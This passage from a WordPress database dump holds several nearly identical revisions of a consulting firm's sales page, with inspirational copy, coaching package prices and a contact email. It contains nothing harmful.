00:03:19', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-86/', 0, 'revision', '', 0),
(1282, 2, '2010-11-28 15:55:29', '2010-11-28 22:55:29', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. </span></span></strong>\r\n\r\n<strong><span style="color: #ff6600;"><span style="color: #333333;">Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><strong> personal and professional growth,\r\nmastery of the inner game of turning possibility into achievement.\r\nlifestyle design,\r\nmethods and tactics for creating the life experience you truly want.</strong><strong>\r\nvalue creation,\r\ninnovation / creativity / product development / service to others.</strong><strong>\r\ndemand generation,\r\nstrategies and tactics for targeting, positioning, branding, marketing, communications and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. To help you accomplish your vision, I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-11-28 15:55:29', '2010-11-28 22:55:29', '', 138, 'http://www.whitehotcenter.com/2010/11/28/138-revision-85/', 0, 'revision', '', 0);
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(1284, 2, '2010-12-01 17:05:27', '2010-12-02 00:05:27', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>. Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. To help you accomplish your vision, I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:05:27', '2010-12-02 00:05:27', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-87/', 0, 'revision', '', 0),
(1285, 2, '2010-12-01 17:06:52', '2010-12-02 00:06:52', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> I provide insight, guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #808080;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. To help you accomplish your vision, I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:06:52', '2010-12-02 00:06:52', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-88/', 0, 'revision', '', 0),
(1286, 2, '2010-12-01 17:09:25', '2010-12-02 00:09:25', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #808080;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. To help you accomplish your vision, I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:09:25', '2010-12-02 00:09:25', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-89/', 0, 'revision', '', 0),
(1287, 2, '2010-12-01 17:10:11', '2010-12-02 00:10:11', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have helped many diverse early-stage entrepreneurs set a strong foundation for their future growth and success. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help others succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth helping early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future. To help you accomplish your vision, I provide several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain 